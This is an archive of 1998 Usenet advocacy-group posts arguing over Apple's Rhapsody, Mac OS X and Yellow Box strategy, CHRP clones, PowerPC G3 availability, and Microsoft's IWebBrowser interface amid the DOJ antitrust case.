NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <356334fd.0@206.25.228.5> <35634FEE.14EC681@milestonerdl.com>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <3563c5b1.0@206.25.228.5>
Date: 21 May 98 06:12:01 GMT
m rassbach <mark@milestonerdl.com> wrote:
> John Kheit wrote:
> > macghod@concentric.net wrote:
> > > 3) How many pc owners will buy rhapsody 1.o for intel? It
> > > would be preety stupid knowing its the last version.
> >
> > This is the idiot mistake sj seems to continously make.
> > Pre-announcing the death of something to make sure it's a
> > failure. Fine, he wants to be a bonehead and kill the intel
> > version, then why on earth bother releasing 1.0 at all!?!
> Because Apple had said in public forums there WOULD be a RhapTel.
> No statements about how LONG it would be around tho.
> > It's idiocy.
> Not at all.
So why make the idiot mistake of promising in the first place so
you'd be forced into maintaining a product for no reasons other
than keeping a dumb promise and wasting money on that? Either way,
early on, or later, a dumb move was made.
Pre announcing the death of a product that may have proven successful
always seems like a stupid move. What if it turned out that intel
sales would have been a better money maker than PPC sales with the
mac os to the bottom line? Sure an off chance, but why forclose
on that chance. If it turned out to hurt sales, they could always
pull a PPCLicensing pull and end it that way.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Thu, 21 May 1998 07:19:16 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-2105980719200001@192.168.0.3>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchicago.edu> <don_arb-2005981048570001@sea-ts1-p30.wolfenet.com> <*johnnyc*-2005981806030001@jchristie.halifaxcable.dal.ca> <rex-2005981945290001@192.168.0.3> <joe.ragosta-2005982102190001@elk106.dol.net> <rex-2005982242410001@192.168.0.3> <see-below-2005982000250001@209.24.242.183> <rmcassid-2005982039410001@dialin9043.slip.uci.edu>
In article <rmcassid-2005982039410001@dialin9043.slip.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) wrote:
:Those fast Mot systems would have been nice, but it would have thrown the
:whole cost/performance balance out of whack in a *major* way. Margins
:would have gone to zero and Apple would have been stuck with hundreds of
:millions in back inventory.
Only if they continued to ship their own motherboards. They should have
just dropped them and switched over to boards from Motorola and IBM. Apple
still could have made money off of the cloners because they controlled the
OS licensing.
:Apple *certainly* wouldn't be the company it is today had Mot been able
to go forward.
Still, it's Apple's own fault for getting themselves into such a
position. They could have made the Mac OS run on PReP machines by placing
their custom Mac I/O subsystems on a PCI card, but they chose not too.
They even prevented a third-party from attempting to. The sad thing is
that PReP machines still have better throughput than all but Apple's most
recent designs.
-Eric
Date: Thu, 21 May 1998 08:27:56 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <joe.ragosta-2105980827570001@wil111.dol.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchicago.edu> <don_arb-2005981048570001@sea-ts1-p30.wolfenet.com> <*johnnyc*-2005981806030001@jchristie.halifaxcable.dal.ca> <rex-2005981945290001@192.168.0.3> <joe.ragosta-2005982102190001@elk106.dol.net> <35639860.0@news.depaul.edu>
In article <35639860.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> > The fact of the matter is that the system Motorola showed last summer
> > couldn't have been sold. The 300 MHz G3 wasn't even announced until
> > February of this year.
>
> I wonder if the cloners ever sold up-clocked machines?
At least one did. The 307 MHz (Daystar?) machine was released before the
300 MHz chips were officially announced.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 21 May 1998 08:31:49 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <joe.ragosta-2105980831500001@wil111.dol.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchicago.edu> <don_arb-2005981048570001@sea-ts1-p30.wolfenet.com> <*johnnyc*-2005981806030001@jchristie.halifaxcable.dal.ca> <rex-2005981945290001@192.168.0.3> <joe.ragosta-2005982102190001@elk106.dol.net> <35639860.0@news.depaul.edu> <slrn6m774a.dai.jason@jhste1.dyn.ml.org>
In article <slrn6m774a.dai.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Jonathan W Hendry posted the following to comp.sys.mac.advocacy:
>
> >In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> >> The fact of the matter is that the system Motorola showed last summer
> >> couldn't have been sold. The 300 MHz G3 wasn't even announced until
> >> February of this year.
>
> >I wonder if the cloners ever sold up-clocked machines?
>
> I can't believe that Joe is still advancing this argument. This is
> Motorola, as in "Motorola PowerPC." Those guys. I'd think that if
> they said they had a 300 MHz machine, they had a 300 MHz machine.
> Period. Despite what Joe might like to think.
I never denied that. But what I said is that they had _one or two_ 300 MHz
machines--not enough to sell.
It's very common for companies to come out with some great demo product
and announce it. The only problem is that it's many months before you can
get it.
How many months elapsed between the time Power Computing announced the
availability of PowerBase machines and the time they actually started
shipping? At least 4 months (I know--I was on the waiting list).
How many months elapsed between the announcement of the Pentium Pro
200/512 and its shipping in quantity? At least 6.
It was easy for Motorola to announce a 300 MHz CHRP box last August. I
just don't believe it could have shipped in quantity. Heck the 233 and 266
MHz Macs were only shipping in quantity in October and the 300 MHz G3 chip
wasn't even _announced_ until February.
Of course, you might be arguing that Motorola really _could_ make
quantities of 300 MHz G3 chips with 1 MB 300 MHz L2 last August and they
just withheld these chips from Apple until February. If that's your
argument, though, it would tell a different story about who the bad guy is
here.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 21 May 1998 08:33:07 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <joe.ragosta-2105980833070001@wil111.dol.net>
References: <joe.ragosta-2005981532310001@wil105.dol.net> <B1889C05-1320C@206.165.43.97> <joe.ragosta-2005982113060001@elk106.dol.net> <rex-2005982337000001@192.168.0.3>
In article <rex-2005982337000001@192.168.0.3>, rex@smallandmighty.com
(Eric King) wrote:
> In article <joe.ragosta-2005982113060001@elk106.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
>
> :Microsoft, IBM, Novell, and Sun all dropped their CHRP OSs before Apple.
> Agreed?
>
> No. AIX was a CHRP OS and it's still shipping. IBM's Long Trail
> motherboard design is eerily similar to their low-end RS/6000s. They share
> a *lot* of common features.
>
> :So, Apple was the only vendor left making an OS that ran on CHRP. They
> :were the last to drop it. Right?
>
> Wrong. PIOS is still working on their CHRP PPC boxes and they're still
> planning on having the BeOS run on them. CHRP as a marketing tool is dead,
> some folks are still fiddling with the technology.
OK. I stand corrected.
So, OS/2, Netware, Solaris, and NT were dropped first. Then Mac OS. Two
minor volume OSs remain on CHRP.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 21 May 1998 08:34:55 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <joe.ragosta-2105980834550001@wil111.dol.net>
References: <joe.ragosta-2005980829560001@wil131.dol.net> <B1887964-1E2D8@206.165.43.125> <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca> <EtABG0.L64@midway.uchicago.edu>
In article <EtABG0.L64@midway.uchicago.edu>, "Jonathan Eric Miller"
<_jemiller@midway.uchicago.edu> wrote:
> The last I heard Apple wouldn't even give Be the details on the G3, so, they
> couldn't port their OS to it. Doesn't sound like Apple is being to open to
> me.
Be shouldn't need to get the G3 info from Apple. They should be getting it
from the vendors (Motorola and IBM).
As for the other motherboard information, that's been discussed ad
nauseum. Apple has no obligation to assist their competitors. And it
wouldn't make sense for them to do so.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: laranzu@spirit.com.au (Hugh Fisher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Procrastination pays: Yellow Box to join Newton
Date: Fri, 22 May 1998 20:36:49 +1000
Organization: client service of Spirit Networks at http://www.spirit.net.au
Message-ID: <laranzu-2205982036490001@dd240.spirit.net.au>
References: <laranzu-1905982220120001@dd197.spirit.net.au> <6jppu9$rha$1@crib.bevc.blacksburg.va.us>
In article <6jppu9$rha$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> You're very much mistaken. It sounds like you're another one of those
> people who listened to the Monday keynote at WWDC and didn't pay
> attention to anything else after that. First, since MacOS X _is_
> Rhapsody, why _wouldn't_ we see Yellow on OS X? Second, Apple is
> putting a _lot_ of effort into enhancing Yellow, far more effort than
> can be justified for something they're going to kill, especially in
> Apple's current "kill anything that's not going anywhere before we sink
> any more money into it" climate.
First, because MacOS X doesn't have Display PostScript. NextStep/Yellow
Box relies on DPS for it's imaging.
Second, Apple put a lot of effort into Copland. (I still have the
Apple Directions 1996 "Why MacOS 8 is important") They put a lot
of effort into Taligent. Doesn't mean they won't kill things.
> Don't be absurd. Yellow Box isn't any more redundant on OS X than it
> was on Rhapsody. And why on earth would Apple bury the best development
> environment on the planet, when it works just fine on their operating
> system?? They know that they can't get the big developers to port
> huge existing code bases to Yellow, but what does Apple gain by not
> encouraging _new_ developers to use Yellow? Shoddier apps that have a
> greater time-to-market, not exactly something Apple needs right now.
Well, Apple buried OpenDoc. And Apple have decided that what they
need is Adobe/Macromedia/Microsoft, not new developers.
>> Huh??? Why would they need a dual code tree? (Well, there are minor
> hardware dependencies, but the vast majority of the code is
> OS-independent. Carbon of course won't be on Intel, but that doesn't
> affect any of the non-Carbon code tree.)
NextStep/YellowBox had code to draw menus, dialogs, controls, window
frames, fonts, etc. All that *was* in Display PostScript. No DPS in
MacOS X = somebody has to change it.
>
> Anyway, it looks like they're going to kill their OS offering on Intel.
Very true, and in fact I'm more optimistic about YellowBox since I've
seen the StepWise stuff about Rhapsody for Intel being dead. Now there
will presumably be a Win95/NT version using Windows look and feel, and
a MacOS X version built on Carbon. A cross-platform MacApp.
> That's pretty funny. Why sink all this time, effort, and money into
> it then? Why were half the WWDC software sessions on Yellow? Why are
> they encouraging developers to use it for OS X development? Do you
> think Apple can afford to burn developers again?
Talked to any OpenDoc developers lately? Or how about Newton developers?
> What do you think
> Apple stands to gain by killing YB on OS X?
Less software to support?. Adobe/Microsoft/Macromedia/CodeWarrior have
all signed up for Carbon, and the computer press at least is reporting
general dancing in the streets following the Carbon announcements.
Steve Jobs killed OpenDoc, to general (not all) approval and the stock
price went up. Killed Newton to general disapproval, but the stock
market liked it anyway. Right now Apple could put a knife into Yellow
Box and nobody important (from Apples perspective) would mind.
>
> Troll.
Cynic.
Hugh
From: mgs@sd.cybernex.net (Mike Schienle)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.portables,comp.sys.next.advocacy
Subject: Sun and HP notebooks (Re: Clue phone for IBM!!)
Date: Thu, 21 May 1998 05:40:59 -0800
Organization: Interactive Visuals
Message-ID: <mgs-2105980540590001@sc4-12-216.thegrid.net>
References: <6joi32$54j$4@newsfep4.sprintmail.com> <buchner-1805980911070001@pm-4-096.dynam.wavetech.net> <6jrjnd$36p@panix.com>
In article <6jrjnd$36p@panix.com>, dcoker@panix.com (Dave Coker) wrote:
> We used to have a few of those RS/6000 notebooks computers; they weren't
> PowerPC based, but a predecessor architecture - Power or Power2, I'm not
> sure which.
>
> Basically they were portable workstations, since they sucked electricity
> in a *major* way, maybe getting 45 minutes on a full charge. There was
> no way anyone could use them, for example on a plane. They were roughly
> equivalent in performance to the old RS/6000 Model 340's - circa early 1991
> or so.
>
> An Apple G3 system would blow them away, both in terms of performance
> and battery life.
>
> I might be wrong, but I haven't seen any RS/6000 notebook computers
> since then - I don't think IBM still makes them.
RDI makes Sun UltraSPARC and HP PA-RISC notebooks. Their site is
http://www.rdi.com/. I used to work on an RDI system a few years ago and
was pretty impressed with it other than battery life.
--
Mike Schienle Interactive Visuals
mgs@sd.cybernex.net http://ww2.sd.cybernex.net/~mgs/
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Thu, 21 May 1998 10:00:08 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-2105981000080001@jchristie.halifaxcable.dal.ca>
References: <joe.ragosta-2005980829560001@wil131.dol.net> <B1887964-1E2D8@206.165.43.125> <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca> <see-below-2005981804400001@209.24.242.183>
In article <see-below-2005981804400001@209.24.242.183>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> In article <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca>,
> *johnnyc*@or.psychology.dal.ca (John Christie) wrote:
>
> > Apple was the LAST partner to drop CHRP. After everyone else dropped
> > it why would they care.
>
> Totally wrong. Apple was the only one that never even came to the table.
> Microsoft _shipeed_ an OS for it, and I think Sun did too. In addition,
> Motorola actually announced a CHRP computer for delivery soon after, and
> both Power and Umax had reportedly been chomping at the bit to ship such
> machines for a long time, only waiting on a version of MacOS that would
> run on them.
You're thinking of PREP. This is a totally different animal. MS never
shipped for CHRP and pulled out long before Moto's first hardware. Sun,
IBM, etc. also pulled out.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Thu, 21 May 1998 10:03:21 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-2105981003210001@jchristie.halifaxcable.dal.ca>
References: <joe.ragosta-2005980829560001@wil131.dol.net> <B1887964-1E2D8@206.165.43.125> <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca> <see-below-2005981804400001@209.24.242.183>
In article <see-below-2005981804400001@209.24.242.183>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> In article <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca>,
> *johnnyc*@or.psychology.dal.ca (John Christie) wrote:
>
> > Well, one of the great promises of CHRP was that it was supposed to run
> > a bunch of OSes. MacOS was to supposed to gain marketshare through the
> > backdoor here. If CHRP really came to fruition how did little old Apple
> > kill it? You would think that running NT, Solaris, and AIX would be
> > plenty. Why isn't Motorola still selling these machines? Are you telling
> > us that the MacOS was the most important OS for CHRP compared to NT?
>
> Yes. Why would anyone want to switch from NT/Intel to NT/PPC? If they were
> going to, why not just switch to NT/Alpha? You'd have to give them a darn
> good reason to do so. The whole idea of CHRP was more to expand the Mac
> market than anything else.
I wonder why it took so long for Apple to figure out that the two
sentences above make no sense. No one would switch to NT/PPC, and CHRP
was to expand the Mac market are incompatible statements. People actually
mourn the loss of this?
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 21 May 1998 08:42:31 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6k1860$vn6$1@strato.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <tvy67j0enft.fsf@cn1.connectnet.com>
Darin Johnson wrote in message ...
>"John Saunders" <jws@jws.ultranet.com> writes:
>
>> >That's somewhat ingenuous though. I'm virtually certain that the
>> >IWebBrowser interface was already closely related to IE, in that it
>> >took minimal work on the IE developer's part to use it. Netscape on
>> >the other hand is *not* implemented like IE internally, and would need
>> >lots of work to support that interface.
>>
>> Darin, I'm missing your point. Yes, IWebBrowser was available in IE3.
Yes,
>> Netscape Navigator is not written as component software. I guess I've
missed
>> the connection between those two facts.
>
[I've snipped the Word-API discussion because I don't have time to teach
Object Oriented Design this Morning. Maybe later. Suffice it to say that at
the interface level, Word and WordPerfect are very similar, except that I
think WP had different or no styles]
>I believe the same sorts of things happened with IWebBrowser. This
>used to be part of IE, and *only* part of IE. Other browsers had no
>access to this and no incentive to use it (unless you want to argue
>that all companies should be emulating MS products by default). Now
>MS has gone and declared a new API (IWebBrowser), with IE magically
>being conformant already and everyone else playing catchup.
>
Darrin, you should go look at IWebBrowser. It's a pretty high-level
interface. The only methods are GoBack, GoForward, GoHome, GoSearch, Stop,
Navigate(url), and Refresh/Refresh2. It has a few interesting properties
like LocationName, LocationURL and Busy. I see no reason Netscape couldn't
implment that.
>It's an unfair linkage between the OS and the applications group. No
>external company can possibly compete on a level playing field when MS
>is allowed insider knowledge. It's just adding fuel to the fire for
>Microsoft to then say "but here, it's an open API, you can use it if
>you want, why are you complaining?".
>
>> How did MS applications get a boost from the OS group? Which MS
>> Applications are you referring to? The ones which use IWebBrowser2 to
render
>> HTML? But they're just using the same documented interfaces as anyone
else.
>
>They used the interfaces *before* they were documented and a part of
>the OS. You yourself said earlier that IWebBrowser was in IE3.
>Therefore, IE3 has used this interface long before the interface was
>made a part of the operating system and before it was documented.
>THAT'S A BOOST!
>
Darrin, IE3 both defined and implemented the interface. It didn't exist
before IE3, it shipped with IE3.
>--
>Darin Johnson
>darin@usa.net.delete_me
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 21 May 1998 08:44:56 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6k1861$vn6$2@strato.ultra.net>
References: <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jsn3d$3ri$2@gte1.gte.net> <tvy3ee4enaj.fsf@cn1.connectnet.com>
Darin Johnson wrote in message ...
>roger@. (Roger ) writes:
>
>> >They are not requiring MS to ship Netscape.
>>
>> That is exactly what they wanted.
>
>From what I read, it was an "allowable option". They're not requiring
>it (as far as what I read on Tuesday anyway). There are other
>allowable options, less onerous to MS.
>
>> But the OEMs can do that now. Sony and Compaq, for example.
>
>All of them? Even a mom-and-pop-will-build-you-a-computer-shop?
>
>--
>Darin Johnson
>darin@usa.net.delete_me
The only details of what DOJ offered come from MS, as far as I know. If
anyone has a pointer to what the DOJ says it offered, please post it. Here's
the MS URL: http://www.microsoft.com/corpinfo/doj/5-18Q&A.htm
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 21 May 1998 08:47:35 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6k1862$vn6$3@strato.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981 <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net>
Joshua T. McKee wrote in message ...
>In article <6jtgid$vp6$5@ligarius.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>
>> Thanks. That's precisely the point. Microsoft has made it trivial for
third
>> parties to include web browsing functionality in their products. Same
with
>> ftp and gopher. Why is that a bad thing? Why can't Netscape do the same?
>> They've got some damn smart people working for them, so that's not much
of
>> an excuse.
>
>
>Because Netscape doesn't control the OS like Microsoft does?
>
>Josh
Sorry, I wasn't clear.
I meant, "why can't Netscape implement the interfaces Microsoft has defined,
so that third party vendors can get the benefit of Netscape's technology".
John Saunders
jws@jws.ultranet.com
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Thu, 21 May 1998 10:08:57 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-2105981008570001@jchristie.halifaxcable.dal.ca>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et7vDG.EKB@midway.uchicago.edu>
In article <Et7vDG.EKB@midway.uchicago.edu>, "Jonathan Eric Miller"
<_jemiller@midway.uchicago.edu> wrote:
> Rhapsody in a nutshell is NextSTEP. And Mac OS X is based on the old Mac OS
> legacy code. Apple said it itself, said the new APIs are evolutionary. They
> have to be otherwise there's going to be a mass exodus in the Mac developer
> community.
To think that the new API's are based on old code is lunacy. Most of
them are currently in 68k with alot of assembler! don't confuse
implementation and interface. Just because you can call the same commands
does not mean the same code is there. Look at QuickTime for Windows.
There are many Mac API commands available above and beyond QuickTime. I
doubt much of the code is the same.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
Date: Thu, 21 May 1998 09:09:26 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: give them what they want, what they really really want... :-)
Message-ID: <joe.ragosta-2105980909260001@wil138.dol.net>
References: <6jpv0r$1cc$103@ironhorse.plsys.co.uk> <6jqees$hl0$1@news12.ispnews.com> <6jqrsa$mdk$1@news.idiom.com> <6jquq3$k2g1@odie.mcleod.net> <slrn6m1f63.el.jason@jhste1.dyn.ml.org> <joe.ragosta-1905980815500001@wil130.dol.net> <ericb-2005981700340001@132.236.171.104>
In article <ericb-2005981700340001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <joe.ragosta-1905980815500001@wil130.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > Where?
> >
> > The number of women who post to the advocacy groups is very, very small.
> > Maybe they're smarter than we are?
>
> At the risk of seriously insulting women everywhere, how can we be certain
> that people using fake names like "Franky" and "stevejobs@apple.com" are
> male?
You're right. You just seriously insulted women everywhere.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 21 May 1998 09:11:38 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <joe.ragosta-2105980911380001@wil138.dol.net>
References: <joe.ragosta-2005981532310001@wil105.dol.net> <B1889C05-1320C@206.165.43.97>
In article <B1889C05-1320C@206.165.43.97>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >
> >After all, Apple never stopped Motorola from selling CHRP boxes. Where are
> >they?
>
>
>
> "We will never give them MacOS 8 for CHRP" -CFO of Apple in teleconference
> about dropping clone-makers.
>
> Sounds like Apple stopped Motorola from selling CHRP.
Not any more than IBM or Microsoft or Sun or Be stopped them from selling
CHRP boxes.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 21 May 1998 09:15:36 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Winners and Losers
Message-ID: <joe.ragosta-2105980915370001@wil138.dol.net>
References: <slrn6m4vfs.qkm.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jv1bk$hu3@flonk.uk.sun.com> <see-below-2005981828050001@209.24.242.183>
In article <see-below-2005981828050001@209.24.242.183>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> In article <6jv1bk$hu3@flonk.uk.sun.com>,
> Jeff.Richmond@uk.sun.comREMOVETHIS wrote:
>
> > Many others have stated this but it might be worth saying again:
> Microsoft is the only major player in the industry to have a
> software-driven business model.
>
> The "software" part of their business model that generates revenue is
> applications, not an OS. I don't think of Rhapsody/Intel as being a
> money-maker in itself, though it could conceivably be self-sufficient.
I'm not sure about this:
NeXTStep was just reaching the break even point with 100% of their
products being Intel only.
Now, consider what Rhapsody adds to the NeXT model:
Broader based support (Mac OS plus Windows plus Rhapsody)
Larger company advertising it
Another generation of improvements, fine-tuning the UI, and updating the kernel.
And so on.
If NeXT was breaking even on Intel, there's no reason that Apple couldn't
be making money on it.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 21 May 1998 09:18:28 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <joe.ragosta-2105980918290001@wil138.dol.net>
References: <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca> <B188A373-2F0FF@206.165.43.97>
